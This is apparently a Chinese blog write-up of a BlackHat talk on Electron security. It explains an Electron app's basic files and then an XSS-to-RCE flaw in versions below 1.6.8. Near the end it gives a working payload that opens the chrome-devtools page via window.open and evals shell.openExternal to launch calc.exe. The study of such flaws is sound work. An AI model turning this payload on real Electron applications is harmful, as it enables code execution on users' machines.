BlackHat上的一个大牛介绍了Electron框架的一些安全问题，学习了一下其中利用XSS实现RCE的流程，v1.6.8以下的electron版本存在该漏洞。
一、Electron框架
介绍
简单来说，Electron框架可以看作一个精简版的Chrome浏览器，开发者只需利用JavaScript/Html/Css等Web相关技术就可以开发跨平台的桌面应用，该框架非常适用于偏业务型的应用开发。市面上有很多成熟的应用，比如VS Code，Atom等。
基本目录结构
一个Electron应用主要有3个文件，index.html，main.js，和package.json
目录结构.png
其中index.html是要展示的内容
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Hello World!</title>
</head>
<body>
<h1>Hello World!</h1>
We are using node
<script>
document.write(process.versions.node)
</script>, Chrome
<script>
document.write(process.versions.chrome)
</script>, and Electron
<script>
document.write(process.versions.electron)
</script>.
</body>
</html>
main.js是用于启动应用的文件
const { app, BrowserWindow } = require('electron')
const path = require('path')
const url = require('url')
// 保持一个对于 window 对象的全局引用，如果你不这样做，
// 当 JavaScript 对象被垃圾回收， window 会被自动地关闭
let win
function createWindow() {
// 创建浏览器窗口。
win = new BrowserWindow({ width: 800, height: 600 })
// 加载应用的 index.html。
win.loadURL(url.format({
pathname: path.join(__dirname, 'index.html'),
protocol: 'file:',
slashes: true
}))
// 打开开发者工具。
win.webContents.openDevTools()
// 当 window 被关闭，这个事件会被触发。
win.on('closed', () => {
// 取消引用 window 对象，如果你的应用支持多窗口的话，
// 通常会把多个 window 对象存放在一个数组里面，
// 与此同时，你应该删除相应的元素。
win = null
})
}
// Electron 会在初始化后并准备
// 创建浏览器窗口时，调用这个函数。
// 部分 API 在 ready 事件触发后才能使用。
app.on('ready', createWindow)
// 当全部窗口关闭时退出。
app.on('window-all-closed', () => {
// 在 macOS 上，除非用户用 Cmd + Q 确定地退出，
// 否则绝大部分应用及其菜单栏会保持激活。
if (process.platform !== 'darwin') {
app.quit()
}
})
app.on('activate', () => {
// 在这文件，你可以续写应用剩下主进程代码。
// 也可以拆分成几个文件，然后用 require 导入。
if (win === null) {
createWindow()
}
})
// 在这文件，你可以续写应用剩下主进程代码。
// 也可以拆分成几个文件，然后用 require 导入。
package.json里是应用的基本信息
{
"name" : "your-app",
"version" : "0.1.0",
"main" : "main.js"
}
安装electron后执行命令即可运行你的应用
electron your-app/
二、XSS到RCE
Electron中使用了一个标记nodeIntegration用来控制页面对node的API的访问，只有nodeIntegration为true的时候，才可以使用如require，process这样的node API去访问系统底层资源。这个标记可以直接在main.js中创建窗口时声明：
win = new BrowserWindow({
width: 800, height: 600, "webPreferences": {
"nodeIntegration": true
}
})
也可以作为webview的一个属性：
<webview src="http://www.google.com/" nodeintegration></webview>
但是通常这个标记都是false的，也就是普通页面是没办法调用require的。但是在electron源码中的lib/renderer/init.js有个判断，在chrome-devtools这个特权域下，nodeIntegration会变成true。
if (window.location.protocol === 'chrome-devtools:') {
// Override some inspector APIs.
require('./inspector')
nodeIntegration = 'true'
}
接下来只需要用window.open绕过SOP跳到chrome-devtools域下，然后调用node API执行系统命令就行了
win = window.open("chrome-devtools://devtools/bundled/inspector.html");
win.eval("const {shell} = require('electron');shell.openExternal('file:///C:/Windows/System32/calc.exe');");
如图成功弹出计算器：
演示
